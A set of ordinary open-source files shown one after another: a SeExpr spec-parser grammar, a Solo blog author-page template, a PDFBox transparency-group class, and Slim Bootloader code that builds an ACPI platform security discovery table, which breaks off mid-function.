//######################################################################
// Helpers used by actions to register data
/// Remember that there is an assignment to this variable (For autocomplete)
static void specRegisterVariable(const char* var)
{
variables->push_back(var);
}
/// Variable Assignment/String literal should be turned into an editable
/// an editable is the data part of a control (it's model essentially)
static void specRegisterEditable(const char* var,ExprSpecNode* node)
{
//std::cerr<<"we have editable var "<<var<<std::endl;
if(!node){
//std::cerr<<" null ptr "<<var<<std::endl;
}else if(ExprSpecScalarNode* n=dynamic_cast<ExprSpecScalarNode*>(node)){
editables->push_back(new NumberEditable(var,node->startPos,node->endPos,n->v));
}else if(ExprSpecVectorNode* n=dynamic_cast<ExprSpecVectorNode*>(node)){
editables->push_back(new VectorEditable(var,node->startPos,node->endPos,n->v));
}else if(ExprSpecStringNode* n=dynamic_cast<ExprSpecStringNode*>(node)){
editables->push_back(new StringEditable(node->startPos,node->endPos,n->v));
}else if(ExprSpecCCurveNode* n=dynamic_cast<ExprSpecCCurveNode*>(node)){
if(ExprSpecListNode* args=dynamic_cast<ExprSpecListNode*>(n->args)){
if((args->nodes.size())%3==0){
ColorCurveEditable* ccurve=new ColorCurveEditable(var,node->startPos,node->endPos);
bool valid=true;
for(size_t i=0;i<args->nodes.size();i+=3){
ExprSpecScalarNode* xnode=dynamic_cast<ExprSpecScalarNode*>(args->nodes[i]);
ExprSpecVectorNode* ynode=dynamic_cast<ExprSpecVectorNode*>(args->nodes[i+1]);
ExprSpecScalarNode* interpnode=dynamic_cast<ExprSpecScalarNode*>(args->nodes[i+2]);
if(xnode && ynode && interpnode){
ccurve->add(xnode->v,ynode->v,interpnode->v);
}else{
valid=false;
}
}
if(valid) editables->push_back(ccurve);
else delete ccurve;
}else{
//std::cerr<<"Curve has wrong # of args"<<args->nodes.size()<<std::endl;
}
}
}else if(ExprSpecCurveNode* n=dynamic_cast<ExprSpecCurveNode*>(node)){
if(ExprSpecListNode* args=dynamic_cast<ExprSpecListNode*>(n->args)){
if((args->nodes.size())%3==0){
CurveEditable* ccurve=new CurveEditable(var,node->startPos,node->endPos);
bool valid=true;
for(size_t i=0;i<args->nodes.size();i+=3){
ExprSpecScalarNode* xnode=dynamic_cast<ExprSpecScalarNode*>(args->nodes[i]);
ExprSpecScalarNode* ynode=dynamic_cast<ExprSpecScalarNode*>(args->nodes[i+1]);
ExprSpecScalarNode* interpnode=dynamic_cast<ExprSpecScalarNode*>(args->nodes[i+2]);
if(xnode && ynode && interpnode){
ccurve->add(xnode->v,ynode->v,interpnode->v);
}else{
valid=false;
}
}
if(valid) editables->push_back(ccurve);
else{
delete ccurve;
}
}
}
}else if(ExprSpecColorSwatchNode* n=dynamic_cast<ExprSpecColorSwatchNode*>(node)){
if(ExprSpecListNode* args=dynamic_cast<ExprSpecListNode*>(n->args)){
if(args->nodes.size()>0){
ColorSwatchEditable* swatch=new ColorSwatchEditable(var,node->startPos,node->endPos);
bool valid=true;
for(size_t i=0;i<args->nodes.size();i++){
ExprSpecVectorNode* colornode=dynamic_cast<ExprSpecVectorNode*>(args->nodes[i]);
if(colornode){
swatch->add(colornode->v);
}else{
valid=false;
}
}
if(valid) editables->push_back(swatch);
else delete swatch;
}
}
}else if(ExprSpecAnimCurveNode* n=dynamic_cast<ExprSpecAnimCurveNode*>(node)){
if(ExprSpecListNode* args=dynamic_cast<ExprSpecListNode*>(n->args)){
// need 3 items for pre inf and post inf and weighting, plus 9 items per key
if((args->nodes.size()-4)%9==0){
AnimCurveEditable* animCurve=new AnimCurveEditable(var,node->startPos,node->endPos);
bool valid=true;
#ifdef SEEXPR_USE_ANIMLIB
if(ExprSpecStringNode* s=dynamic_cast<ExprSpecStringNode*>(args->nodes[0])){
animCurve->curve.setPreInfinity(animlib::AnimCurve::stringToInfinityType(s->v));
}else valid=false;
if(ExprSpecStringNode* s=dynamic_cast<ExprSpecStringNode*>(args->nodes[1])){
animCurve->curve.setPostInfinity(animlib::AnimCurve::stringToInfinityType(s->v));
}else valid=false;
if(ExprSpecScalarNode* v=dynamic_cast<ExprSpecScalarNode*>(args->nodes[2])){
animCurve->curve.setWeighted(bool(v->v));
}
if(ExprSpecStringNode* v=dynamic_cast<ExprSpecStringNode*>(args->nodes[3])){
animCurve->link=v->v;
}
for(size_t i=4;i<args->nodes.size();i+=9){
ExprSpecScalarNode* xnode=dynamic_cast<ExprSpecScalarNode*>(args->nodes[i]);
ExprSpecScalarNode* ynode=dynamic_cast<ExprSpecScalarNode*>(args->nodes[i+1]);
ExprSpecScalarNode* inWeight=dynamic_cast<ExprSpecScalarNode*>(args->nodes[i+2]);
ExprSpecScalarNode* outWeight=dynamic_cast<ExprSpecScalarNode*>(args->nodes[i+3]);
ExprSpecScalarNode* inAngle=dynamic_cast<ExprSpecScalarNode*>(args->nodes[i+4]);
ExprSpecScalarNode* outAngle=dynamic_cast<ExprSpecScalarNode*>(args->nodes[i+5]);
ExprSpecStringNode* inTangType=dynamic_cast<ExprSpecStringNode*>(args->nodes[i+6]);
ExprSpecStringNode* outTangType=dynamic_cast<ExprSpecStringNode*>(args->nodes[i+7]);
ExprSpecScalarNode* weighted=dynamic_cast<ExprSpecScalarNode*>(args->nodes[i+8]);
if(xnode && ynode && inWeight && outWeight && inAngle && outAngle && inTangType && outTangType ){
animlib::AnimKeyframe key(xnode->v,ynode->v);
key.setInWeight(inWeight->v);
key.setOutWeight(outWeight->v);
key.setInAngle(inAngle->v);
key.setOutAngle(outAngle->v);
key.setInTangentType(animlib::AnimKeyframe::stringToTangentType(inTangType->v));
key.setOutTangentType(animlib::AnimKeyframe::stringToTangentType(outTangType->v));
key.setWeightsLocked(weighted->v);
animCurve->curve.addKey(key);
}else{
valid=false;
}
}
if(valid) editables->push_back(animCurve);
else delete animCurve;
#else
UNUSED(animCurve);
UNUSED(valid);
#endif
}
}
}else if(ExprSpecDeepWaterNode* n=dynamic_cast<ExprSpecDeepWaterNode*>(node)){
if(ExprSpecListNode* args=dynamic_cast<ExprSpecListNode*>(n->args)){
if(args->nodes.size()==12){
DeepWaterEditable* deepWater=new DeepWaterEditable(var,node->startPos,node->endPos);
bool valid=true;
ExprSpecScalarNode* resolution=dynamic_cast<ExprSpecScalarNode*>(args->nodes[0]);
ExprSpecScalarNode* tileSize=dynamic_cast<ExprSpecScalarNode*>(args->nodes[1]);
ExprSpecScalarNode* lengthCutoff=dynamic_cast<ExprSpecScalarNode*>(args->nodes[2]);
ExprSpecScalarNode* amplitude=dynamic_cast<ExprSpecScalarNode*>(args->nodes[3]);
ExprSpecScalarNode* windAngle=dynamic_cast<ExprSpecScalarNode*>(args->nodes[4]);
ExprSpecScalarNode* windSpeed=dynamic_cast<ExprSpecScalarNode*>(args->nodes[5]);
ExprSpecScalarNode* directionalFactorExponent=dynamic_cast<ExprSpecScalarNode*>(args->nodes[6]);
ExprSpecScalarNode* directionalReflectionDamping=dynamic_cast<ExprSpecScalarNode*>(args->nodes[7]);
ExprSpecVectorNode* flowDirection=dynamic_cast<ExprSpecVectorNode*>(args->nodes[8]);
ExprSpecScalarNode* sharpen=dynamic_cast<ExprSpecScalarNode*>(args->nodes[9]);
ExprSpecScalarNode* time=dynamic_cast<ExprSpecScalarNode*>(args->nodes[10]);
ExprSpecScalarNode* filterWidth=dynamic_cast<ExprSpecScalarNode*>(args->nodes[11]);
if(resolution && tileSize && lengthCutoff && amplitude && windAngle && windSpeed && directionalFactorExponent && directionalReflectionDamping && flowDirection && sharpen && time && filterWidth){
deepWater->setParams(SeDeepWaterParams(resolution->v, tileSize->v, lengthCutoff->v, amplitude->v, windAngle->v, windSpeed->v, directionalFactorExponent->v, directionalReflectionDamping->v, flowDirection->v, sharpen->v, time->v, filterWidth->v));
}else{
valid=false;
}
if(valid) editables->push_back(deepWater);
else delete deepWater;
}
}
}else{
std::cerr<<"SEEXPREDITOR LOGIC ERROR: We didn't recognize the Spec"<<std::endl;
}
}
/*******************
parser declarations
*******************/
// forward declaration
static void yyerror(const char* msg);
%}
%union {
ExprSpecNode* n;
double d; // return value for number tokens
char* s; /* return value for name tokens. Note: UNLIKE the regular parser, this is not strdup()'dthe string */
}
%token IF ELSE
%token <s> NAME VAR STR
%token <d> NUMBER
%token AddEq SubEq MultEq DivEq ExpEq ModEq
%token '(' ')'
%left ARROW
%nonassoc ':'
%nonassoc '?'
%left OR
%left AND
%left EQ NE
%left '<' '>' LE GE
%left '+' '-'
%left '*' '/' '%'
%right UNARY '!' '~'
%right '^'
%left '['
%type <n> optassigns assigns assign ifthenelse optelse e optargs args arg
/* Some notes about the parse tree construction:
Each rule first parses its children and then returns a new node
that implements the particular rule (an arithmetic op, a function
call, or whatever). Sometimes the child node is just passed up (in
the case of a parenthesized expression or a unary '+' for
instance). But in all cases, a rule returns a parse node which
represents a complete sub-tree. Finally, the "expr" rule returns
the root node which represents the completed parse tree.
*/
%%
// TODO: Change grammar to have option to choose to allow variables of the form
// $foo or foo. Currently we allow either.
/* The root expression rule */
expr:
assigns e { ParseResult = 0; }
| e { ParseResult = 0; }
;
/* local variable assignments */
optassigns:
/* empty */ { $$ = 0; }
| assigns { $$ = 0; }
;
assigns:
assign { $$ = 0; }
| assigns assign { $$ = 0; }
;
assign:
ifthenelse { $$ = 0; }
| VAR '=' e ';' {
specRegisterVariable($1);
specRegisterEditable($1,$3);
}
| VAR AddEq e ';' { $$ = 0; }
| VAR SubEq e ';' { $$ = 0; }
| VAR MultEq e ';' { $$ = 0; }
| VAR DivEq e ';' { $$ = 0; }
| VAR ExpEq e ';' { $$ = 0; }
| VAR ModEq e ';' { $$ = 0; }
| NAME '=' e ';' {
specRegisterVariable($1);
specRegisterEditable($1,$3);
}
| NAME AddEq e ';' { $$ = 0; }
| NAME SubEq e ';' { $$ = 0; }
| NAME MultEq e ';' { $$ = 0; }
| NAME DivEq e ';' { $$ = 0; }
| NAME ExpEq e ';' { $$ = 0; }
| NAME ModEq e ';' { $$ = 0; }
;
ifthenelse:
IF '(' e ')' '{' optassigns '}' optelse
{ $$ = 0; }
;
optelse:
/* empty */ { $$ = 0; }
| ELSE '{' optassigns '}' { $$ = 0;}
| ELSE ifthenelse { $$ = 0;}
;
/* An expression or sub-expression */
e:
'(' e ')' { $$ = 0; }
| '[' e ',' e ',' e ']' {
if(SPEC_IS_NUMBER($2) && SPEC_IS_NUMBER($4) && SPEC_IS_NUMBER($6)){
$$=remember(new ExprSpecVectorNode(@$.first_column,@$.last_column,$2,$4,$6));
}else $$=0;
}
| e '[' e ']' { $$ = 0; }
| e '?' e ':' e { $$ = 0; }
| e OR e { $$ = 0; }
| e AND e { $$ = 0; }
| e EQ e { $$ = 0; }
| e NE e { $$ = 0; }
| e '<' e { $$ = 0; }
| e '>' e { $$ = 0; }
| e LE e { $$ = 0; }
| e GE e { $$ = 0; }
| '+' e %prec UNARY { $$ = $2; }
| '-' e %prec UNARY {
if(SPEC_IS_NUMBER($2)){
ExprSpecScalarNode* node=(ExprSpecScalarNode*)$2;
node->v*=-1;
node->startPos=@$.first_column;
node->endPos=@$.last_column;
$$=$2;
}else $$=0;
}
| '!' e { $$ = 0; }
| '~' e { $$ = 0; }
| e '+' e { $$ = 0; }
| e '-' e { $$ = 0; }
| e '*' e { $$ = 0; }
| e '/' e { $$ = 0; }
| e '%' e { $$ = 0; }
| e '^' e { $$ = 0; }
| NAME '(' optargs ')' {
if($3 && strcmp($1,"curve")==0){
$$=remember(new ExprSpecCurveNode($3));
}else if($3 && strcmp($1,"ccurve")==0){
$$=remember(new ExprSpecCCurveNode($3));
}else if($3 && strcmp($1,"swatch")==0){
$$=remember(new ExprSpecColorSwatchNode($3));
}else if($3 && strcmp($1,"animCurve")==0){
$$=remember(new ExprSpecAnimCurveNode($3));
}else if($3 && strcmp($1,"deepWater")==0){
$$=remember(new ExprSpecDeepWaterNode($3));
}else if($3){
// function arguments not parse of curve, ccurve, or animCurve
// check if there are any string args that need to be made into controls
// but be sure to return 0 as this parseable
if(ExprSpecListNode* list=dynamic_cast<ExprSpecListNode*>($3)){
for(size_t i=0;i<list->nodes.size();i++){
if(ExprSpecStringNode* str=dynamic_cast<ExprSpecStringNode*>(list->nodes[i])){
specRegisterEditable("<UNKNOWN>",str);
}
}
}
$$=0;
}else $$=0;
}
| e ARROW NAME '(' optargs ')'{$$ = 0; }
| VAR { $$ = 0; }
| NAME { $$ = 0; }
| NUMBER { $$=remember(new ExprSpecScalarNode(@$.first_column,@$.last_column,$1)); }
;
/* An optional argument list */
optargs:
/* empty */ { $$ = 0;}
| args { $$ = $1;}
;
/* Argument list (comma-separated expression list) */
args:
arg {
// ignore first argument unless it is a string (because we parse strings in weird ways)
ExprSpecListNode* list=new ExprSpecListNode(@$.last_column,@$.last_column);
if($1 && SPEC_IS_STR($1)){
list->add($1);
}
remember(list);
$$=list;
}
| args ',' arg {
if($1 && $3 && ((SPEC_IS_NUMBER($3) || SPEC_IS_VECTOR($3) || SPEC_IS_STR($3)))){
$$=$1;
dynamic_cast<ExprSpecListNode*>($1)->add($3);
}else{
$$=0;
}
}
;
arg:
e { $$ = $1;}
| STR {
ExprSpecStringNode* str=new ExprSpecStringNode(@$.first_column,@$.last_column,$1);
//specRegisterEditable("<UNKNOWN>",str);
// TODO: move string stuff out
$$ = remember(str);
}
;
%%
/* yyerror - Report an error. This is called by the parser.
(Note: the "msg" param is useless as it is usually just "sparse error".
so it's ignored.)
*/
static void yyerror(const char* /*msg*/)
{
// find start of line containing error
int pos = yypos(), lineno = 1, start = 0, end = strlen(ParseStr);
bool multiline = 0;
for (int i = start; i < pos; i++)
if (ParseStr[i] == '\n') { start = i + 1; lineno++; multiline=1; }
// find end of line containing error
for (int i = end; i > pos; i--)
if (ParseStr[i] == '\n') { end = i - 1; multiline=1; }
ParseError = yytext[0] ? "Syntax error" : "Unexpected end of expression";
if (multiline) {
char buff[30];
snprintf(buff, 30, " at line %d", lineno);
ParseError += buff;
}
if (yytext[0]) {
ParseError += " near '";
ParseError += yytext;
}
ParseError += "':\n ";
int s = std::max(start, pos-30);
int e = std::min(end, pos+30);
if (s != start) ParseError += "...";
ParseError += std::string(ParseStr, s, e-s+1);
if (e != end) ParseError += "...";
}
namespace SeExpr2 {
extern void specResetCounters(std::vector<std::pair<int,int> >& comments);
}
/* CallParser - This is our entrypoint from the rest of the expr library.
A string is passed in and a parse tree is returned. If the tree is null,
an error string is returned. Any flags set during parsing are passed
along.
*/
static SeExprInternal2::Mutex mutex;
/// Main entry point to parser
bool ExprSpecParse(std::vector<Editable*>& outputEditables,
std::vector<std::string>& outputVariables,
std::vector<std::pair<int,int> >& comments,
const char* str)
{
SeExprInternal2::AutoMutex locker(mutex);
/// Make inputs/outputs accessible to parser actions
editables=&outputEditables;
variables=&outputVariables;
ParseStr=str;
// setup and startup parser
SeExpr2::specResetCounters(comments); // reset lineNumber and columnNumber in scanner
yy_buffer_state* buffer = yy_scan_string(str); // setup lexer
ParseResult = 0;
int resultCode = yyparse(); // parser (don't care if it is a parse error)
UNUSED(resultCode);
yy_delete_buffer(buffer);
// delete temporary data -- specs(mini parse tree) and tokens(strings)!
for(size_t i=0;i<specNodes.size();i++) delete specNodes[i];
specNodes.clear();
for(size_t i=0;i<tokens.size();i++) free(tokens[i]);
tokens.clear();
return true;
}
| {
"pile_set_name": "Github"
} |
<#--
Solo - A small and beautiful blogging system written in Java.
Copyright (c) 2010-present, b3log.org
Solo is licensed under Mulan PSL v2.
You can use this software according to the terms and conditions of the Mulan PSL v2.
You may obtain a copy of Mulan PSL v2 at:
http://license.coscl.org.cn/MulanPSL2
THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT, MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE.
See the Mulan PSL v2 for more details.
-->
<#include "../../common-template/macro-common_head.ftl">
<!DOCTYPE html>
<html>
<head>
<@head title="${authorName} - ${blogTitle}">
<link rel="stylesheet" href="${staticServePath}/skins/${skinDirName}/css/base.css?${staticResourceVersion}"/>
</@head>
</head>
<body>
${topBarReplacement}
<#include "header.ftl">
<h3 class="nav-abs" id="author">
<img style="border-radius: 45px;" width="90" title="${authorName}" alt="${authorName}" src="${authorThumbnailURL}"/>
<br/>
${authorName}
</h3>
<#include "article-list.ftl">
<#include "footer.ftl">
</body>
</html>
| {
"pile_set_name": "Github"
} |
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.tom_roush.pdfbox.pdmodel.graphics.form;
import java.io.IOException;
import com.tom_roush.pdfbox.cos.COSDictionary;
import com.tom_roush.pdfbox.cos.COSName;
import com.tom_roush.pdfbox.pdmodel.common.COSObjectable;
import com.tom_roush.pdfbox.pdmodel.graphics.color.PDColorSpace;
/**
* Transparency group.
*
* @author K�hn & Weyh Software, GmbH
*/
public final class PDGroup implements COSObjectable
{
private final COSDictionary dictionary;
private COSName subType;
private PDColorSpace colorSpace;
/**
* Creates a group object from a given dictionary
* @param dic {@link COSDictionary} object
*/
public PDGroup(COSDictionary dic)
{
dictionary = dic;
}
@Override
public COSDictionary getCOSObject()
{
return dictionary;
}
/**
* Returns the groups's subtype, should be "Transparency".
*/
public COSName getSubType()
{
if (subType == null)
{
subType = (COSName) getCOSObject().getDictionaryObject(COSName.S);
}
return subType;
}
/**
* Returns the blending color space
*
* @return color space
* @throws IOException
*/
public PDColorSpace getColorSpace() throws IOException
{
if (colorSpace == null)
{
colorSpace = PDColorSpace.create(getCOSObject().getDictionaryObject(COSName.CS));
}
return colorSpace;
}
/**
* Returns true if this group is isolated. Isolated groups begin with the fully transparent
* image, non-isolated begin with the current backdrop.
*/
public boolean isIsolated()
{
return getCOSObject().getBoolean(COSName.I, false);
}
/**
* Returns true if this group is a knockout. A knockout group blends with original backdrop,
* a non-knockout group blends with the current backdrop.
*/
public boolean isKnockout()
{
return getCOSObject().getBoolean(COSName.K, false);
}
}
| {
"pile_set_name": "Github"
} |
/** @file
Copyright (c) 2018 - 2019, Intel Corporation. All rights reserved.<BR>
SPDX-License-Identifier: BSD-2-Clause-Patent
**/
#include <PiPei.h>
#include <Library/PcdLib.h>
#include <Library/DebugLib.h>
#include <Library/BaseLib.h>
#include <Library/SocInitLib.h>
#include <IndustryStandard/Acpi.h>
#include <Library/BaseMemoryLib.h>
#include <Library/MemoryAllocationLib.h>
#include <IndustryStandard/Acpi.h>
#include <IndustryStandard/Tpm20.h>
#include <Library/HeciLib.h>
#include <Library/HeciLib/CseMsg.h>
#include <Library/PciLib.h>
#include <Library/BootGuardLib.h>
#include <Library/SecureBootLib.h>
#include <Guid/PcdDataBaseSignatureGuid.h>
#include <Library/ConfigDataLib.h>
#include <Library/PcdLib.h>
#include <Library/BootloaderCoreLib.h>
#include <Library/BootloaderCommonLib.h>
#include <Guid/FlashMapInfoGuid.h>
#include <PlatformData.h>
#include <Library/BootGuardLib.h>
#include <PsdLib.h>
#include <Library/SgxLib.h>
#include <RegAccess.h>
#include <Library/ConfigDataLib.h>
#include <ConfigDataStruct.h>
#define PSD_VERSION_MAJOR 0x0000
#define PSD_VERSION_MINOR 0x0003
#define CPUID_STRUCTURED_EXTENDED_FEATURE_FLAGS 0x7
#define CPUID_SGX_ENABLED 0x12
#define PSD_HROT_NONE 0
#define PSD_HROT_ROM 1
#define PSD_HROT_TXE 2
#define PSD_HROT_CSE 3
#define PSD_HROT_ACM 4
#define PSD_HROT_TXT 5
/**
Get SGX Capabilities of IA core.
@param[in] SgxCapabilies Pointer to Sec Caps.
@retval EFI_SUCCESS Success get all FW hash value
@retval EFI_ERROR Unable to get cababilites.
**/
EFI_STATUS
GetSgxCapabilities(
UINT16 *SgxCapabilities
)
{
EFI_CPUID_REGISTER Cpuid = { 0, 0, 0, 0 };
SGX_CFG_DATA *SgxCfgData;
PSD_SGX_CAPS SgxCaps;
UINT64 Msr = 0x0;
SgxCaps.Sgx16 = 0;
///
/// Verify processor supports SGX Flexible Launch Control
///
AsmCpuidEx (
CPUID_STRUCTURED_EXTENDED_FEATURE_FLAGS,
0,
&Cpuid.RegEax,
&Cpuid.RegEbx,
&Cpuid.RegEcx,
&Cpuid.RegEdx
);
///
/// Processor support SGX feature by reading CPUID.(EAX=7,ECX=0):EBX[2]
///
///
/// SGX feature is supported only on SKL and later,
/// with CPUID.(EAX=7,ECX=0):EBX[2]=1
/// PRMRR configuration enabled, MSR IA32_MTRRCAP (FEh) [12] == 1
///
if ((Cpuid.RegEbx & BIT2) && (AsmReadMsr64 (MSR_IA32_MTRRCAP) & BIT12)) {
DEBUG ((DEBUG_INFO, "PSD_DEBUG SGX bit set in PSD=0x%x\n",(Cpuid.RegEbx & BIT2) && (AsmReadMsr64 (MSR_IA32_MTRRCAP) & BIT12) ));
SgxCaps.Bits.Enabled = 1;
}
//Check Flexible launch control.
if (Cpuid.RegEcx & BIT30) {
DEBUG ((DEBUG_INFO, "PSD_DEBUG SGX Flexible Launch Control is supported.\n"));
if(AsmReadMsr64 (MSR_IA32_FEATURE_CONTROL) & BIT17) {
DEBUG ((DEBUG_INFO, "PSD_DEBUG SGX Flexible Launch Control is enabled.\n"));
SgxCaps.Bits.FlcEnabled = 1;
}
}
else {
SgxCaps.Bits.FlcEnabled = 0;
DEBUG ((DEBUG_INFO, "PSD_DEBUG SGX Flexible Launch Control is not supported.\n"));
}
SgxCfgData = (SGX_CFG_DATA *)FindConfigDataByTag (CDATA_SGX_TAG);
if (SgxCfgData != NULL) {
DEBUG ((DEBUG_INFO, " PSD_DEBUG SgxCfgData->EnableSgx=0x%x\n",SgxCfgData->EnableSgx));
if(SgxCfgData->EnableSgx == 2) {
DEBUG ((DEBUG_INFO, " PSD_DEBUG Sgx SwCrtl enabled\n"));
SgxCaps.Bits.SwCrtl = 1;
}
DEBUG ((DEBUG_INFO, "SgxCfgData->PrmrrSize=0x%x\n",SgxCfgData->PrmrrSize));
if ((AsmReadMsr64 (MSR_PRMRR_PHYS_BASE) != 0) && ((AsmReadMsr64 (MSR_PRMRR_PHYS_MASK) & BIT10) != 0)) {
Msr = AsmReadMsr64(MSR_PRMRR_PHYS_MASK);
//DEBUG ((DEBUG_INFO, "Sgx 64bit MSR_PRMRR_PHYS_MASK= 0x%Lx\n",Msr));
DEBUG ((DEBUG_INFO, "Sgx size64 MSR_PRMRR_PHYS_MASK= 0x%Lx\n",(Msr)&0x3FFFFFFFF000));
//Following code is only to debug SGX size decoding logic.
//DEBUG ((DEBUG_INFO, "Sgx PRMRR MASK calculated from Size = 0x%x\n", (0x0000007FFFFFFFFF &(~((UINT64)(SgxCfgData->PrmrrSize - 1))))));
}
//read bits [45:12] this will give the mask and [39:12] will be used for size.
switch((UINT64)(Msr&0x3FFFFFFFF000))
{
case 0x7FFFF00000: //1M
SgxCaps.Bits.PRMRR =0x3;
break;
case 0x7FFFE00000: //2M
SgxCaps.Bits.PRMRR =0x4;
break;
case 0x7FFE000000: //32M
SgxCaps.Bits.PRMRR =0x5;
break;
case 0x7FFC000000: //64M
SgxCaps.Bits.PRMRR =0x6;
break;
case 0X7FF8000000: //128M
SgxCaps.Bits.PRMRR =0x7;
break;
case 0x7FF0000000: //256M
SgxCaps.Bits.PRMRR =0x8;
break;
case 0x7FE0000000: //512M
SgxCaps.Bits.PRMRR =0x9;
break;
default:
SgxCaps.Bits.PRMRR =0x0;
break;
}
}
else {
//SGX config is null. setting PRMRR into SGX caps to default = 0.
SgxCaps.Bits.PRMRR =0x0;
}
*SgxCapabilities = SgxCaps.Sgx16;
DEBUG ((DEBUG_INFO, "PSD_DEBUG SGX Fields in PSD=0x%x\n",SgxCaps.Sgx16));
return EFI_SUCCESS;
}
/**
Wrapper function to Get EOM status from CSE Status Register.
@param[in,out] EomState Pointer to The EOM state value.
@retval EFI_SUCCESS The EOM Get Status successfully.
@retval Others The EOM Get from CSE doesn't get status.
**/
EFI_STATUS
GetEomState (
IN OUT UINT8 *EomState
)
{
EFI_STATUS Status;
UINT32 FwSts;
if(EomState == NULL) {
DEBUG ((DEBUG_ERROR, "EomState is not valid pointer\n"));
return EFI_INVALID_PARAMETER;
}
Status = ReadHeciFwStatus( &FwSts);
if (Status == EFI_SUCCESS ) {
*EomState = (UINT8)((FwSts & BIT4) >> 4);
}
return Status;
}
/**
Get Sec FW Version.
@param[in]: SecVersion Pointer to Sec FW Version structure.
@return EFI_SUCCESS.
@return EFI_ERROR.
**/
EFI_STATUS
GetSecFwVersion (
SEC_VERSION_INFO *SecVersion
)
{
EFI_STATUS Status;
GEN_GET_FW_VER_ACK MsgGenGetFwVersionAckData;
DEBUG ((DEBUG_ERROR, "GetSecFwVersion called\n"));
if(SecVersion == NULL) {
DEBUG ((DEBUG_ERROR, "GetSecFwVersion Failed Status=0x%x\n",EFI_INVALID_PARAMETER));
return EFI_INVALID_PARAMETER;
}
Status = HeciGetFwVersionMsg( (UINT8 *)&MsgGenGetFwVersionAckData);
if (Status == EFI_SUCCESS) {
SecVersion->CodeMajor = MsgGenGetFwVersionAckData.Data.CodeMajor;
SecVersion->CodeMinor = MsgGenGetFwVersionAckData.Data.CodeMinor;
SecVersion->CodeHotFix = MsgGenGetFwVersionAckData.Data.CodeHotFix;
SecVersion->CodeBuildNo = MsgGenGetFwVersionAckData.Data.CodeBuildNo;
}
return Status;
}
/**
Get Sec Capabilities of CSE.
@param[in] SecCapability Pointer to Sec Caps.
@retval EFI_SUCCESS Success get all FW hash value
@retval EFI_ERROR Unable to get hash value
**/
EFI_STATUS
GetSecCapability (
UINT32 *SecCapability
)
{
EFI_STATUS Status;
GEN_GET_FW_CAPSKU MsgGenGetFwCapsSku;
GEN_GET_FW_CAPS_SKU_ACK MsgGenGetFwCapsSkuAck;
if(SecCapability == NULL) {
DEBUG ((DEBUG_ERROR, "GetSecCapability Failed Status=0x%x\n",EFI_INVALID_PARAMETER));
return EFI_INVALID_PARAMETER;
}
Status = HeciGetFwCapsSkuMsg ( (UINT8 *)&MsgGenGetFwCapsSku, (UINT8 *)&MsgGenGetFwCapsSkuAck);
if (EFI_ERROR(Status)) {
return Status;
}
*SecCapability = MsgGenGetFwCapsSkuAck.Data.FWCap.Data;
return EFI_SUCCESS;
}
/**
Update Platform Service Discovery Table.
@param[in] Table Pointer of ACPI Table Data.
@retval EFI_SUCCESS Installed PSD ACPI table successfully.
@retval EFI_ ERROR.
**/
EFI_STATUS
EFIAPI
UpdateAcpiPsdTable (
IN VOID* Table
)
{
EFI_ACPI_PSD_TABLE *mPsdt;
PLATFORM_DATA *PlatformData;
EFI_STATUS Status;
DEBUG((DEBUG_INFO, "UpdateAcpiPsdTable start\n"));
if ( Table == NULL) {
DEBUG((DEBUG_WARN, "EFI_ACPI_PSD_TABLE IS NULL\n"));
return EFI_BUFFER_TOO_SMALL;
}
mPsdt = (EFI_ACPI_PSD_TABLE*)Table;
// Populate Platfrom security capabilities in table structure
mPsdt->Header.Signature = EFI_ACPI_PSD_SIGNATURE;
mPsdt->Header.Checksum = 0;
if( &(mPsdt->Header.OemId) == NULL) {
return RETURN_BUFFER_TOO_SMALL;
}
CopyMem(&mPsdt->Header.OemId, PSDS_EFI_ACPI_OEM_ID, 6);
mPsdt->Header.OemTableId = PSDS_EFI_ACPI_OEM_TABLE_ID;
mPsdt->Header.OemRevision = PSDS_EFI_ACPI_OEM_REVISION;
mPsdt->Header.CreatorId = PSDS_EFI_ACPI_CREATOR_ID;
mPsdt->Header.CreatorRevision = PSDS_EFI_ACPI_CREATOR_REVISION;
DEBUG( (DEBUG_INFO, "Address of PSD_TABLE=%x\n", mPsdt));
DEBUG( (DEBUG_INFO, "PSD Values: Signature=%x\n", mPsdt->Header.Signature) );
DEBUG( (DEBUG_INFO, "PSD Values: Length=%x\n", mPsdt->Header.Length ));
DEBUG( (DEBUG_INFO, "PSD Values: Revision=%x\n", mPsdt->Header.Revision ));
DEBUG( (DEBUG_INFO, "PSD Values: Checksum=%x\n", mPsdt->Header.Checksum ));
DEBUG( (DEBUG_INFO, "PSD Values: OemId=%x\n", mPsdt->Header.OemId ));
DEBUG( (DEBUG_INFO, "PSD Values: OemTableId=%x\n", mPsdt->Header.OemTableId ));
mPsdt->PsdVersion.PsdVerMajor = PSD_VERSION_MAJOR;
mPsdt->PsdVersion.PsdVerMinor = PSD_VERSION_MINOR;
DEBUG( (DEBUG_INFO, "PSD Values: PsdVerMajor=%x\n", mPsdt->PsdVersion.PsdVerMajor ));
DEBUG( (DEBUG_INFO, "PSD Values: PsdVerMinor=%x\n", mPsdt->PsdVersion.PsdVerMinor ));
//Eom State,
Status = GetEomState(&mPsdt->EomState);
if (EFI_ERROR(Status)) {
DEBUG((DEBUG_ERROR, " GetEomState failed =%x\n",Status));
}
DEBUG( (DEBUG_INFO, "PSD Values: EomState =%x\n", mPsdt->EomState ));
//Sec Capabilities,
Status = GetSecCapability( &(mPsdt->CsmeSecCapabilities) );
if (EFI_ERROR(Status)) {
DEBUG((DEBUG_ERROR, " GetSecCapability failed =%x\n",Status));
}
DEBUG((DEBUG_INFO, "PSD Values: CsmeSecCapabilities=%x\n", mPsdt->CsmeSecCapabilities));
//SGX Capabilities
GetSgxCapabilities(&(mPsdt->SgxCapabilities));
//FW version,
Status = GetSecFwVersion( &(mPsdt->FwVer) );
